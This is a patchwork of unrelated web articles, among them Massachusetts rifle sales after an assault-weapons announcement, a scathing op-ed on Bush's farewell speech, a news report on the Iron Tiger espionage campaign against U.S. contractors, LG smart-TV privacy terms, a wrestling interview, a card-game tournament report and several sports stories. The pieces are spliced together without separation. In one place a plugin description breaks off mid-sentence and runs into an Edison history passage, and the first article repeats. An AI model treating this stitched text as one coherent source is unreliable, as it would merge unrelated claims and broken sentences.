Read moreRifle sales in Massachusetts spiked by more than 1,900 percent on just one day last week.The massive increase -- from just 132 sales on Tuesday to 2,549 on Wednesday -- came on the heels of a controversial announcement from Democratic Attorney General Maura Healey on Wednesday morning. She said that her office will step up enforcement of the state's assault weapons ban.The Massachusetts assault weapons ban mirrors the federal ban that expired in 2004. It bans the sale of specific and weapons and explicitly bans copies or duplicates of those weapons.Healy said that manufacturers were selling "copycat" weapons that are sold, for example, without a flash suppressor or with a fixed instead of folding stock. She argued that the changes do not make the weapons less lethal or more legal.She defined a weapon as a copy or duplicate if its internal operating system is essentially the same as those of a specifically-banned weapon or if the gun has key functional components that are interchangeable with those of a banned weapon.Healy estimated that 10,000 of the so-called copycat weapons were sold in Massachusetts last year, and said the gun industry has openly defied the law."If a gun's operating system is essentially the same as a banned weapon - or if the gun has component parts that are interchangeable with those of a banned weapon - it's a copy, it's a duplicate, and it's illegal," Healey said at a press conference in her office.In the hours after she uttered those words, gun buyers flocked to local stores and formed long lines stretching outside.Here are the rifle sales data from the Massachusetts Executive Office of Public Safety & Security:Monday, July 18: 51 rifles soldTuesday, July 19: 132 rifles soldWednesday, July 20: 2,549 rifles sold (Date of Healey's announcement)Thursday, July 21: 266 rifles soldFriday, July 22: 139 rifles soldSaturday, July 23: 135 rifles soldSunday, July 24: 58 rifles soldDownload: Complete rifle sales data from July 18-24Get the WCVB News App
Rifle sales in Massachusetts spiked by more than 1,900 percent on just one day last week.
The massive increase -- from just 132 sales on Tuesday to 2,549 on Wednesday -- came on the heels of a controversial announcement from Democratic Attorney General Maura Healey on Wednesday morning. She said that her office will step up enforcement of the state's assault weapons ban.
The Massachusetts assault weapons ban mirrors the federal ban that expired in 2004. It bans the sale of specific and weapons and explicitly bans copies or duplicates of those weapons.
Healy said that manufacturers were selling "copycat" weapons that are sold, for example, without a flash suppressor or with a fixed instead of folding stock. She argued that the changes do not make the weapons less lethal or more legal.
She defined a weapon as a copy or duplicate if its internal operating system is essentially the same as those of a specifically-banned weapon or if the gun has key functional components that are interchangeable with those of a banned weapon.
Healy estimated that 10,000 of the so-called copycat weapons were sold in Massachusetts last year, and said the gun industry has openly defied the law.
"If a gun's operating system is essentially the same as a banned weapon - or if the gun has component parts that are interchangeable with those of a banned weapon - it's a copy, it's a duplicate, and it's illegal," Healey said at a press conference in her office.
In the hours after she uttered those words, gun buyers flocked to local stores and formed long lines stretching outside.
Here are the rifle sales data from the Massachusetts Executive Office of Public Safety & Security:
Monday, July 18: 51 rifles sold
Tuesday, July 19: 132 rifles sold
Wednesday, July 20: 2,549 rifles sold (Date of Healey's announcement)
Thursday, July 21: 266 rifles sold
Friday, July 22: 139 rifles sold
Saturday, July 23: 135 rifles sold
Sunday, July 24: 58 rifles sold
Download: Complete rifle sales data from July 18-24
AlertMePresident Bush's Last Speech - As Bad as his Presidency
By Ben Cohen
George Bush's final speech to the American public was in essence, a pathetic attempt to rewrite his catastrophic record. With the familiar simplistic language and brazen confidence used throughout his tenure, Bush attempted to defend the undefendable, going through the litany of almighty cock ups with his own delusional take on events. Words like "Good vs Evil", "Freedom", "Democracy", "9/11" featured heavily in the speech, littering his thesis that the neoconservative project has been a roaring success.
Grinning his way through the speech, Bush's complete disregard for the massive damage he has caused was on full display:
"Iraq has gone from a brutal dictatorship and a sworn enemy
of America to an Arab democracy at the heart of the Middle East and a
friend of the US," said Bush
"There is legitimate debate about many of these decisions but there can be little debate about the results....America has gone more than seven years without another terrorist attack on our soil."
Bush also went on to defend free market capitalism, announcing that his decisive action had saved the day:
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Facing the
prospect of a financial collapse, we took decisive measures to safeguard our
economy. These are very tough times for hardworking families, but the toll
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would be far worse if we had not acted....We will show the world once again the resilience of
America’s free enterprise system.
Rebuttals to Bush's fantasy world are no longer appropriate. The facts speak for themselves, and the appalling state of the country is a testament to his failed ideology, failed leadership and failed professional life. George W. Bush should have never been allowed anywhere near the Presidency, and the country has learned a harsh lesson in electing mediocrity to its highest office.
Chris Matthew of MSNBC delivered a withering assessment of Bush's Presidency directly after the speech, summing up the vast disappointment and anger felt over the past 8 years, and putting his failures into historical perspective:
So it is good bye, and good riddance to a President not worthy of his title, a President we'd rather forget while we pick up the pieces of a nation he tried so hard to break.Chinese hackers used data stolen from April's OPM breach in recent thefts of terabytes of sensitive data from U.S. defense contractors, according to Trend Micro’s Vice President of Cybersecurity Thomas Kellerman. As previously reported, Trend Micro published a report on Thursday entitled Operation Iron Tiger, detailing these extensive confirmed breaches by Chinese cyber spies.
In followup to yesterday's article on this report, I interviewed Kellerman and had further discussions last night with Dr. Ziv Chang, Sr. Director, Cyber Safety Solutions, Core Technology at Trend Micro and lead author on the report. No contact has been made with Trend representatives since last night. Kellerman stated during that interview that he believes OPM data was used in formulating the attacks discussed in the Iron Tiger Report.
In a statement to the House Intelligence Committee on September 10, Director of National Intelligence James Clapper testified that he believed no data from the OPM hack had been used in a "nefarious way." Trend Micro disclosed the report to the U.S. government the following week.
OPM data was used in formulating attacks on U.S. military interests
Kellerman said he believes that data stolen from the U.S. Office of Personnel Management in the April 2015 breach of the OPM systems has been and is being used by Chinese cyber spies, named by Trend Micro as “Iron Tiger.” He said that the OPM data enabled Iron Tiger to precisely target U.S. military contractor victims as well as to know the types of information each victim would hold, determine the best methods to use to attack them and to execute attacks.
Theft of highly-sensitive, mission critical data
When asked to characterize the types of data that Iron Tiger targeted on contractor systems Chang commented that the following types of data were targeted and exfiltrated:
Base Operations Support
Engineering, Procurement & Construction
Information Technology & Systems Engineering
Intelligence Analytics & Training
Language & Cultural Analysis
Operations and Maintenance
Security Assessment & Training
Stolen data presents a significant and serious risk to US military interests
Both Kellerman and Chang confirmed when asked that the data stolen by Iron Tiger presented a significant and serious risk to U.S. military interests and operations. Kellerman said that appropriate representatives within the US government had been notified and provided a copy of the report as well as all relevant details not included in the report such as victim (target) names and data stolen, two days before Trend Micro made the report public on its site. The latest data hacks by Iron Tiber on U.S. military interests were observed was August 21, 2015.
Kellerman stated that he believes the attacks are ongoing but may be slowed in response to global discussions about possible sanctions for breaches on civilian entites. Trend Micro is continuing to monitor the group and will report to victims and authorities as appropriate, Kellerman said.
Kellerman further stated that it is not clear from Trend Micro’s investigation whether the threat actors were operatives related to or authorized by Beijing or whether they were “patriotic operatives conducting espionage as a homage to China.” Kellerman asserted when asked for open comment about Trend Micro's findings that he believed it was incumbent upon China to halt the Iron Tiger breaches even if such actions were not directly authorized by the state. Kellerman is referring to international law of war principles that attribute to states actions of actors within the sovereign boundaries of that state.
Inconvenient facts in Iron Tiger report before next week's Xi state visit
As previously reported, Trend Micro’s report comes less than week before high-level US-China diplomatic meetings including China President Xi’s first state visit. It also follows intense private cyber security meetings that concluded with the Obama administration indicating that it would hold off on previously-threatened cyber sanctions.
The report at Trend Micro has been removed as of this morning. Comments from Trend Micro have been requested and responses will be posted when received.The Venturi Formula E team has announced an exclusive technical partnership with ROHM Semiconductor.
The announcement, which was made ahead of the inaugural Visa Paris ePrix, will see the Japanese semi-conductor and electronics company provide cutting edge material silicon carbide (SiC) technology to the team for season three of the FIA Formula E Championship.
Venturi Automobiles owner Gildo Pallance Pastor said: “We are delighted to be partnering with the leading company of silicon carbide and to have exclusive use of ROHM’s innovative technology in our cars from next season. SiC enables us to improve our thermal efficiencies and the electronic performance of our inverters which will allow us to run higher motor speeds.”
ROHM Semiconductor Europe’s CEO Mr Christian Andre said: “The FIA Formula E series “The FIA Formula E series provides ROHM with an ideal opportunity to showcase our leading position in SiC technology to the automotive sector. ROHM has diligently developed its SiC products with a view to expanding our automotive business and we view the partnership with the Venturi Formula E Team as a way in which to showcase our competences to a relevant and rapidly expanding audience.”I took this class in college, Intro to Macroeconomics, it was some required course that I had no interest in really paying attention to, let alone studying, but I had heard that the course material was pretty easy, and it was one of those giant lecture classes, like a hundred and fifty kids staring down at a professor in a big hall with stadium seating. So I thought, OK, I’ll tough it out, I’ll get my credits and say goodbye forever to the world of economics.
But day one, the professor barely says hello before he goes off on this crazy rant, “All right you little punks, I read on the Internet that you all think I’m an easy A, right? Isn’t that why all of you signed up for this class? Huh? You think I’m easy? Well bad news kids, this is going to be one of the hardest classes you’ve ever taken in your lives.”
I’m paraphrasing, obviously, but he did get his point across, because on the second class, only twelve of us had decided not to drop the course. I don’t know what exactly he was going for in striking such an intimidating tone from the get-go, like was he expecting a small class of only the most dedicated students of macroeconomics? Because, while I can’t speak for anyone else in the class, I chose to remain based solely on convenience. This hour and fifteen Tuesday and Thursday fit so nicely in my schedule. That semester, I never had to wake up any earlier than eleven, I had plenty of space sprinkled throughout my day for lunch or snacks. This course was like the ribbon on an artfully wrapped present.
A gift to myself, half a year of pure convenience. That’s what I was going for anyway. It turned out that this once joke of a professor took his ratemyprofessor.com score a little too seriously. It was like he had a giant chip on his shoulder, something to prove. To who? To us, apparently, the remaining dozen who either wouldn’t or couldn’t find a way to rearrange their entire schedule.
“First order of business,” his words echoed out, he was practically screaming to us, all spaced out in that giant classroom. “If you miss more than one class, your grade is going down a whole letter.” Yikes. Listen, I was all for making a really good effort at attending every class, but come on, that’s a little harsh, don’t you think? “If you don’t hand in an assignment, that’s another letter grade.”
I double-checked the class schedule, to see if it wasn’t too late to switch, but the add-drop period was over. I swallowed hard as I came to terms with what my semester might be looking like. One sick day, jeez, should I just use it right away? Or maybe save it for sometime when I’d really need it?
“Oh and one more thing,” he got ready to spread the icing all over the cake, “You’re only allowed to use a marble notebook. I don’t want to see any spiral bound books in my class. Got it?”
Marble notebooks, I thought, what is this, third grade? I already bought all of my school supplies earlier. This guy wanted me to go back and buy some stupid old-fashioned notebook? What did he care what kind of notebook I used? Was he going to be writing notes in it? It was such an arbitrary decree, like he might as well have banned blue pens.
I felt bad for him, he was obviously lashing out at us because he had no idea where else to direct his impotent rage. And even after he calmed down, he never looked happy. From there on out, it was just him standing at the head of the class, droning on about supply and demand, showing us really boring PowerPoint presentations, never so much as cracking a smile or letting on that he enjoyed at all being in the classroom with us.
As for my end of the bargain, I think I missed two classes. And I put basically zero effort into the course as a whole. This guy was so boring. And I hated that marble notebook. It served a purpose for about two weeks or so, when I spent an entire four classes coloring in the white parts of the marble design with black pen. But after that, I was left with nothing else to do. Those stupid rounded corners on the pages. You’d open it up and it wouldn’t stay open, that thing wanted nothing more than to be permanently closed, just like my mind during that class, my attention span unable to string more than five consecutive seconds together of listening to that guy talk.
My final grade was a C-, by far the worst of my college career. But whatever, I turned out OK right? I mean, yeah, I guess I ruined my shot at being elected chairman of the Fed. But yeah, I guess that’s what I get for basing the entirety of my college career on optimally timed lunch breaks.1 / 9 9. Strawberry Naturally Flavored Fruit Roll-Up
Parent company: General Mills Ad changed: Yes Settlement amount: Money not part of settlement Strawberry Naturally Flavored Fruit Roll-Ups fell short in both its “strawberry” and “naturally flavored” claims. The maker of Fruit Roll-Ups, General Mills, settled a lawsuit late in 2012 over complaints that the snack contained no strawberries and that its ingredients were mostly synthetic. According to Consumer Affairs, while the snack contained no strawberries, it did contain “pears from concentrate, corn syrup, dried corn syrup, sugar, partially hydrogenated cottonseed oil, and 2 percent or less various natural and artificial ingredients.” The label on Fruit Roll-Ups still says “Made With Real Fruit,” but the company will have to disclose on its packaging the actual percentage of real fruit in the treat beginning in 2014. <a href="http://247wallst.com/2013/01/24/the-most-misleading-product-claims-in-america/#ixzz2J1jxIZ6U">Read more more at 24/7 Wall St.</a>
<a href="http://www.flickr.com">Flickr</a>:<a href="http://www.flickr.com/photos/39160147@N03/8057149653">JeepersMedia</a>LG Will Take The 'Smart' Out Of Your Smart TV If You Don't Agree To Share Your Viewing And Search Data With Third Parties
from the privacy-policy-lobotomy dept
Techdirt reader Oldlad stuck this through the Submissions slot recently:
Because I will not agree to LG's Privacy Policy, I can now no longer access/use any of of the TV's network based programs: Iplayer, Skype, 3D etc.
As of the 7th May following a software update to our less than two year old LG TV. I was confronted with a message asking me to read and agree with a couple of important new documents. So like a good little citizen I read and agreed with the first doc regarding use of said TV. but having read the Privacy Doc I was not best pleased with the companies assumption that I would simply agree to their sharing all our intimate viewing details (plus what ever else they can see)with all and sundry.
Since I agreed not to hack into installed software (as if I Could)We cannot get around the block.
I think the company must be in breach of contract since the smart functions are no longer available. Surely in the uk at least you should not be able to change the goal posts at will. Any one sorted this problem yet??
Before some smart alec says "Take It back". We bought the set because it satisfied our criteria at the time. We did not expect some legal bully to come along nearly two years later and tell us to share all our information with the world OR ELSE??
Our Privacy Policy explains and seeks your agreement for how we collect, use, and share information that we obtain as a result of your use of LG Smart TV Services, as well as how we use cookies. You do not have to agree to the Privacy Policy but if you do not, not all Smart TV Services will be available to you. [emphasis added] In that case, we will still receive certain non-identifying information from your Smart TV that we need to provide the basic functions that will be available.
Viewing Information. This refers to information about your interactions with program content, including live TV content, movies, and video on demand. Viewing Information may include the name of the channel or program watched, requests to view content, the terms you use to search for content, details of actions taken while viewing (e.g., play, stop, pause, etc.), the duration that content was watched, input method (RF, Component, HDMI) and search queries.
For example, some of our services require that you become a member of LG SmartWorld, which may be subject to separate terms. You may join LG SmartWorld either through your LG Smart TV or by other means, such as through certain LG websites. This Membership Information may include your user ID, password, telephone number, name, date of birth, gender, email address, address, social networking service ID, security question answers, purchase history, and related payment information, such as credit card information or details of your PayPal account and more.
•When you use LivePlus, we may share certain Viewing Information, Device Information, and Basic Usage Information with third parties for advertising or analytics purposes and to enable the provision of information relevant to what you are viewing;
•To third party vendors that LGE may engage to provide services on its behalf from time to time, such as to collect payment for content you purchase or to fulfill customer service requests or to provide advertising services
enabling the seller or supplier to alter unilaterally without a valid reason any characteristics of the product or service to be provided
Oldlad poses good questions. Does a manufacturer have the right to "brick" certain integral services just because the end user doesn't feel comfortable sharing a bunch of info with LG and other, unnamed third parties?LG certainly feels it has the right to do this. In fact, it makes no secret of this in its long Privacy Policy -- a document that spends more time discussing the lack thereof, rather than privacy itself. The opening paragraph makes this perfectly clear.So, even if you don't agree to share information, you'll still be sharing information. To top it off, you won't be able to use many of the functions that put the "smart" into LG's Smart TV.Here's a list of just some of the information LG grabs in order to ensure your Smart TV can be its smartest.Additional information will be collected if you use the "smart" features, most of which require the creation of an LG SmartWorld account There's nothing particularly unusual about the LG SmartWorld data being collected, considering its tied to paid services and apps. The greater concern would be the wealth of viewing information (including "internet searches") that's collected as part of a person's non-"smart" usage.This concern grows when you see the list of potential recipients of this information.LG seems very concerned that Smart TV owners won't allow it to provide them with "relevant ads." This focus on advertising might give one the impression that a Smart TV is subsidized by ad sales, rather than paid for completely by the end user.When LG was caught sending plaintext data on files stored on customers' USB devices, it amended its policies and data collection tactics to exclude this data. This happened not on the strength of a customer complaint (in fact, LG told the customer to take it up with the store that sold him the TV) but because the UK government announced its intention to dig into LG's practices and see if they conformed with the Data Protection Act.While it may have removed that particularly egregious bit of data slurping, it still intends to gather as much data as possible in order to deliver advertising, something almost every purchaser would be willing to seeof. Oldlad asks whether the company can, under UK law, simply "move the goalposts" at will, thereby providing customers with a product with fewer features than the one they purchased.UK law does offer some additional protections in this regard. The Unfair Terms in Consumer Contracts Regulation of 1999 notes the following in its long list of specified "unfair terms."LG presenting customers with the false choice of a) giving up control of their data or b) losing access to a great deal of the Smart TV features could be construed as "altering the characteristics of the product." A lot would depend on the investigating agency's definition of "valid reason." LG's Privacy Policy claims that most of what it collects is essential to provide these "smart" services. Indeed, many of them are. But there's also plenty in that wording that indicates LG is collecting additional information solely for the purpose of providing ads. Whether or not that's a legally "valid reason" is still up for discussion.In its defense, LG may point to the fact that this Privacy Notice is published online and could be accessed by anyone looking to purchase a Smart TV. While factually correct, the reality of the situation is that the same number of people who would proactively search out privacy policies and T&Cspurchasing a product are roughly the same number that would balk at clicking the "Accept" button on a dialog box post-firmware update -- statistically insignificant. That number would leap appreciably if LG's intentions were laid bare in the Privacy Policy dialog box, stating something to the effect that agreeing to the policy meant allowing LG to collect and disseminate search terms, search queries and content viewed to third parties.Being upfront doesn't result in nearly as much profitable data, however. And those who opt out, like Oldlad, are left with plain, vanilla TV rather than the smarter version they shelled out extra for.
Filed Under: privacy, smart tv, terms of service, tv
Companies: lgToday The Two Man Power Trip of Wrestling recently interviewed Dan Spivey, who is largely recognized for his portrayal of the mysterious Waylon Mercy character in the 90s. You can check out the full interview by clicking here, they sent us these highlights:
Could today's pro wrestler handle the old school travel schedule:
"I think so, but the main reason we did those schedules was for the money. I went ninety days one time without ever coming home. When you are living on the road for ninety days, it was hard but we had a good time doing it. It was hard work and the thing was we were all chasing money. When you work ninety straight days you get a pretty good paycheck. Everyone wanted to work for WWE, (in the day WWF) because it was the number one company. It's the company that if you work for them, you got famous. It was seen all over the world. Vince took it International and if you take guys today and bring them in there they would work for Vince for free to get the notoriety. It was a privilege to work for that company and because when you got to the WWE you made it in the business."
Older wrestlers complaining that Vince McMahon pushed them to work:
"How would those guys feel that are complaining about Vince if they never had the opportunity to work there? I think they would be very disappointed and their careers would have never been fulfilled."
First impressions of Vince McMahon:
"I thought that he was and still is a great promoter. I thought he was a fair guy. He asks you to go out there and work hard and give it your very best which is what any employer would ask. I hadn't been in the business more then two years and I had a ruptured disc in my neck and it wasn't real clear if I was going to be able to come back from it or not. Vince (and I hadn't been in the business more then two years) gave me five hundred dollars a week while I was recovering. I don't know any other promoter that would have done that. He took care of me, I know that."
Did Bray Wyatt seek out his help in developing his character?
"I'm just assuming that everybody knows but me and Mike (Rotunda) were partners when I first came to the WWE. I teamed up with him as the US Express. Mike's two kids Widham and Bo were both down in the training facility for the WWE and Bray (Windham) came to me and asked me about Waylon Mercy. So we talked and I gave him some ideas and the kid ran with it and he's done a great job with it and I am really happy for him."
A rumored return to the WWE as part of the Wyatt Family:
"I would love to do it. I think there is a lot to be done with it. I kind of think though that they want Bray to be on his own and they don't want any association with me, which I think is crazy because what an angle that could've been when Bray wrestled Taker. The connection with me and Undertaker as The Sky-Skyscrapers and Bray as Rotundo's kid doing my old gimmick. If you are asking the question would I be interested in doing it? Yeah I would. I think that would be great."
Being pitched Waylon Mercy and the look of the character:
"Vince brought it up to me and asked me what I thought about it and I loved it and thought it was a great idea. The promos where they just stuck me out there. The first one where I killed the bug on my arm, I just went out there and winged it. I'm from the South, I knew a lot of Southern people and I just went off of kind of just winging it and I remember watching the movie (Cape Fear) several times with Robert DeNiro and what a great movie that was. Everything was off the top of my head, there was no writing for me like they have nowadays. The red light came on and I just went with it. Vince didn't really say anything to me after we had the first meeting. I put the costume together, although he did say he wanted me to dye my hair black which was no problem. We had these tattoos which would stay on for like two or three days and if the character would have done something and carried on the way that it should have been I would have got the tattoos for real. They were a real pain in the ass to put on and take off. He didn't have anything to say, that was all me."
Why Waylon Mercy's run was cut short:
"I was only there for a short time, I was there only about nine months. I was beat up and always hurt and always taking the pain-killers. I had a bad hip, a bad knee and it was just a bad time. I wasn't happy with the way things were going so I quit. Vince and Gerry Brisco tried to talk me into coming back and I had just had enough and was done. I wasn't happy because I wasn't able to perform like I wanted to and I didn't feel like it was going anywhere. I wasn't mad I was just ready to retire because I couldn't perform the way I wanted to."
Backstage atmosphere in 1995 and did he see Undertaker becoming the star he is:
"No, I had no idea. Mark when we teamed up was really green. I thought he was a good guy and I liked Mark from the very beginning. I had no idea that he would ever be the star that he is today. Nobody bothered me that's for sure. I was pretty much a loaner anyway so I didn't care about The Kliq. A lot of guys that were up there were real primadonnas."
Dan Spivey also discusses his lengthy run in Japan, teaming with Stan Hansen in AJPW, forming The Sky Scrapers in WCW and teaming with both Sid and Mean Mark, his entry into the WWF filling in for Barry Windham, breaking into the business with Scott Hall, Dusty Rhodes and more. You can listen to the full interview by clicking here.Hello again! I recently participated in the RNGEternal Eye of Winter Classic. While I sadly did not make top eight, I did get close, but no one wants to hear some report about how some stock netdeck crushed all the fun decks in the event. Good thing this report is nothing like that!So the moment the Eye of Winter Classic was announced I went into a state of constant experimentation and testing which culminated in a hyper optimized deck...PSYCH. The deck was made at the very last moment before registration closed by me in a half asleep, sick state. I was originally going to go with LOA’s Sleepless Argenport but then decided to play something that screams fun. Thus, I threw together some cards and ended up at this deck, Unstable Sindok Control.Now in my half asleep sick state I did more than just throw random cards together. There is an interesting combo in the game. There is only one ten drop in the game and that is Scourge of Frosthome. By cheating out Sindok, Rage Incarnate through burn and/or units and waiting a turn you can lock your opponent out of spells. The deck has a lot of inevitability with its alt wincons such as Flamestoker and the plethora of burn spells. As for the sideboard its mostly normal stuff like counters, protection, and hand/deck attack. The two copies of Knucklebones are for matchups the Sindok combo is ineffective against the opponent like Stonescar Rally.My first opponent was Firething25 on Praxis Midrange. I learned over the course of the day that Praxis is probably one of the worst matchups for the deck. The combo barely hurts it, the alt wincons are easy for it to remove, and it is so flexible hand attack does not give you any time. Also my opponent sided in slows which turn out hurt a lot. My sideboard plan of more removal did not help much. I quickly lost 0-2 against the plethora of large units and burn spells so the meme deck started 0-1.The next person I faced was this guy named “Bye” on some weird 150 card max power singleton combo aggro control deck. Oddly before I could even challenge him he sent me a message telling me he could not dare get in the way of such a beautiful deck.The match that made me write this in the first place due to popular demand. This was a streamed match between me and my teammate Angrychicken on TJP Control. He was not on chalice this was a unit light Stronghold's Visage deck. This is the kind of match I wanted, a slow game where the combo and burn swing the game in my favor. The game was quicker than I thought it would be with my Flamestoker putting a lot of pressure on Chicken. There was a turn where I casted Unstable Form on an Infernus. I had ZERO idea what would happen, if you unstable form a screamed unit it gets sacrificed so I was hoping it would not work like that. Likely it worked normally. For my sideboard plan I brought in a bunch of deck and hand attack along with Eliyn’s Favor s to keep my combo safe. Game two started with me power screwed against an army of frogs. I eventually used Unstable Form to cheat out a North Wind Herald which let me cheat out two Sindok, Rage Incarnate s shortly after. Much to my horror one of the frogs turned into a Cult Aspirant while Chicken had a Visage out. I got the the combo off twice and got rid of his channel, rain, and Sword of the Sky King with my various hand and deck attack cards taking the game 2-0.Next was Sneaky on Stonescar Aggro. Game one was uneventful, I tried to stay alive and lost very quickly to the swarm of units. For game two I did something really weird, I took out unstable form and Sindok instead putting in Rain of Frogs, Kaleb’s Choice, and Knucklebones. My logic is this, the unstable combo is so bad against them using Knucklebones to get units to block is much better. Sadly I quickly lost game two putting me at 2-2.Furry on Stonescar Aggro was my next opponent. I was not that happy after my last match put on the bright side I had my sideboard plan already together. So we started and somehow I managed to beat him game one. Game two got into the very late game and I got to play not one but TWO Knucklebones. Off the value from them I was able to get a second win in amazing fashion. Icaria with warcried Diving Rod getting a Sindok made by Knucklebones. Even when I side it out Sindok never leaves me. Don’t trust me? Well I took a screenshot!Next was Solarflare/Alpacalips who was on Dark Combrei. Throwing a lot of burn at him got a quick win for me. Game two he overwhelmed me with his units. Game three was much like game one where Flamestroker and burn made me win the match. While a match nothing super crazy happened there was a fun solution I came up with. I dealt with multiple titans by unstabling them, then permafrosting them. 4-2 going into the final round one more win and I might be able to top 8.My final opponent was Cogito on Praxis Midrange. Somehow I got a win against him game one then disaster happened. Game two I got stuck on four again two titans in a row leading to a quick loss. Then game three I got flooded and faced turn three and four titan again. It was not all bad, I learned a lot of the faults of the deck.If I had to change anything about the deck for tournaments it would be more polymorphs and less Unexpected Results. There are a lot of titans and not a lot of very slow control decks.It was fun to write another article and I wish all who use the deck luck in the future.I would like to thank Stevercakes for letting me write this article and Flash, Darkness, and Bradykin for editing.Oh... Dusk Road is going to be funIntroduction
This plugin allows you to execute common events in the game menu simply by attaching a common event to an item. If you |
's life with electric lights, movies and phonographs, the Wizard of Menlo Park decided in the early part of the 20th century to abolish city slums and get every working man's family into sturdy, fire-proof homes that could be built inexpensively on a mass scale. And what would those homes be made of? Why, concrete, of course, using materials from the Edison Portland Cement company. Edison, recalling his own working-class upbringing, said he would take no profit if the venture succeeded.
Edison's plan was to pour the concrete into large, wooden molds the size and shape of a house, let it cure, remove the framework and -- voila! A concrete house, with decorative molding, plumbing pipes, even a bathtub, molded right in. Edison said these dwellings would sell for around $1,200, about one-third the price of a regularly constructed house at the time.
But while Edison Portland Cement was used in a lot of structures around New York City during the building boom of the early 1900s, the concrete houses never caught on. The molds and equipment needed to make the homes required a huge financial investment that few builders were able to make. Image was another problem -- not many families wanted the social stigma of moving to a house that was touted as getting people out of the slums. One other factor: Some people thought the homes were ugly. While the company did build a few concrete houses around New Jersey -- some still standing today -- Edison's vision of concrete neighborhoods never took [source: Onion].
And what did Edison expect you to furnish your concrete home with? Keep reading to find out why the inventor wouldn't have been a good interior designer.Brumbies winger Henry Speight will find out on Wednesday if he can play in Saturday's Super Rugby semi-final against the Hurricanes after SANZAR requested more information before handing down a possible suspension.
A SANZAR judicial hearing on Tuesday found that Speight was guilty of a lifting tackle in last weekend's 39-19 win in the qualifying final against the Stormers in Cape Town.
Brumbies winger Henry Speight (right) will find out on Wednesday if he's free to play in Saturday's Super Rugby semi-final against the Hurricanes. Credit:Getty Images
However, the judicial officer requested further information be presented for consideration before a sanction was handed down.
Speight was handed a red card in the 74th minute of the win against the Stormers when he appeared to flip Juan de Jongh on to his head when he didn't have the ball.Even if you choose a quality beer and pour the perfect foam head, if you don’t consider your glassware, you’re limiting the beer-drinking experience. Many beer experts believe that unique glassware can have a variety of effects on the the beer drinking experience.
According to the popular website, Beeradvocate:
“As soon as the beer hits the glass, its color, aroma and taste is altered, your eye candy receptors tune in, and your anticipation is tweaked. Hidden nuances become more pronounced, colors shimmer, and the enjoyment of the beer simply becomes a better, more complete experience.”
Experts like Ray Daniels, the creator and director of the Cicerone Certification Program and president of the Craft Beer Institute, agree that glass- ware is essential for an elevated beer-drinking experience.
If a customer asks for an imperial stout, do you know what glass to pour it in? What if he orders a saison or a hop-forward beer?Sebastian Vettel believes the new engines sound uninspiring © Sutton Images Enlarge
World champion Sebastian Vettel has become the latest big name in Formula One to hit out at the sound of the new engines.
The new V6 turbos have been underfire since the opening round of the season when some members of TV audiences complained about the sound compared to the old V8s. Bernie Ecclestone and ex-Australian Grand Prix promoter Ron Walker have laid into the new formula, and Vettel joined their ranks on Thursday ahead of this weekend's Malaysian Grand Prix.
"It's shit," he said. "That's my opinion and I think for the fans as well. I think Formula One has to be spectacular and the sound is one of the most important things.
"When I was a small child, I don't remember much, but I remember when I was six years old and we went to see the cars live during free practice, the one thing I remember was the sound. How loud they were, to feel the cars through the ground and the whole ground was vibrating. It's a shame you don't have that."
However, McLaren's Jenson Button said it was not up to the drivers to complain about the sound of the cars.
"Go and race something else if you're not happy," he said. "As drivers we don't have an opinion where the cars are in terms of sound and feel.
"But when you cross the finish line first you've won a grand prix, so you don't care what the car sounds like or what it looks like. You've beaten the best in the world, and that's all you care about."
Despite retiring from the opening race, Vettel is confident Red Bull has competitive car, even if it's fragile.
"It was a relief to see that the package was quick, we just need to make sure that we get everything together and make the package reliable. I hope for here we can have a reliable package and keep up the performance and even improve from where we were in Australia. Anything is possible here. I wouldn't mind some rain here, Dan has proved that the car was quick in the wet as well last week so we will see."
© ESPN Sports Media Ltd.ATLANTA -- After failing to protect a 26-point fourth-quarter lead in their 126-125 overtime loss to the Atlanta Hawks on Sunday, several members of the Cleveland Cavaliers found fault in the officials for contributing to their collapse.
"It wasn't a foul on my sixth foul," said LeBron James, who fouled out with 1:52 remaining in overtime and the Cavs up by three, for contact with Atlanta's Paul Millsap while jostling for rebounding position. "I knew I had five [fouls]. I knew the ball was going long. So I may have grazed Millsap a little bit, but I mean, throughout the course of a game [that happens]. I didn't push him or anything like that."
It was the second time this season that James has fouled out, and that is the most in any season of his 14-year career, according to ESPN Stats & Information. He also fouled out in the Cavs' 140-135 overtime win in February in Washington. Sunday was the sixth time in his career that he fouled out of a game.
It was hardly the only call the Cavs had a problem with. There was the jump ball called when Millsap and Kent Bazemore wrapped Kyrie Irving up where the baseline met the sideline out of bounds with four seconds left in regulation. The replay showed both Millsap and Bazemore with a foot out of bounds as referee Derrick Collins rushed in and signaled for the jump ball.
"We had some bad breaks, obviously, with the jump ball," James said. "A couple of their guys were out of bounds. And then with the jump ball for Kyrie in the corner, I'm sitting right next to the ref [Leroy Richardson] and asking for a timeout, and the explanation he gave me, I never heard in my 14-year career. Never. So it doesn't take away from the fact that we still had a huge lead to start the fourth, but every play counts, no matter what is going on."
Several Cavaliers, including LeBron James, found fault in some of the officials' calls during the team's overtime loss to the Hawks on Sunday, a game that saw Cleveland blow a 26-point lead in the fourth quarter. Scott Cunningham/NBAE/Getty Images
James was asked to share the explanation that Richardson gave him for turning down his timeout request.
"He told me that I'm not allowed to call timeout because he didn't know who had possession of the ball," James said. "And I was the one who entered the ball to Kyrie. And as soon as I seen Millsap go trap Kyrie in the short corner, I looked at him and called timeout twice -- at least twice -- and he wasn't even paying me no attention. And that's when the jump ball happened. I said, 'Why?' He said, 'I can't call timeout because I don't know who has possession of the ball. I don't know what's going on. I don't know the tie up.' I said, 'That doesn't make any sense because we have the ball. I entered the ball to Kyrie, so you shouldn't even be worried about the tie up or not. I'm calling it as soon as I saw Kyrie is getting tied up in the corner.' So I've never heard that one before. I've never heard that explanation before in my life."
Richardson also called James for a five-second infraction when he was inbounding the ball with 18 seconds left in regulation and the Cavs up 109-105.
"It was pretty quick," James said of the call.
One member of the Cavs could be heard uttering "f---ing Leroy Richardson" outside the visitor's locker room after the game.
Cavs coach Tyronn Lue refrained from commenting on the officiating, only shaking his head in agreement that there were several tough calls that did not go in his team's favor.
"Jumping out to that lead, being up 26, that's who we are and that's how we're capable of playing. Everything went wrong for us in that fourth quarter. Every single thing. From inbounding the ball to jump balls, to whatever. Hats off to those guys, they did a good job of coming back in that fourth," Lue said.
There were also two block-charge calls that went against the Cavs in overtime. The first came with 42.1 seconds left, when Kevin Love was initially called for a charge on Mike Dunleavy that would have been Love's sixth foul and forced him out of the game.
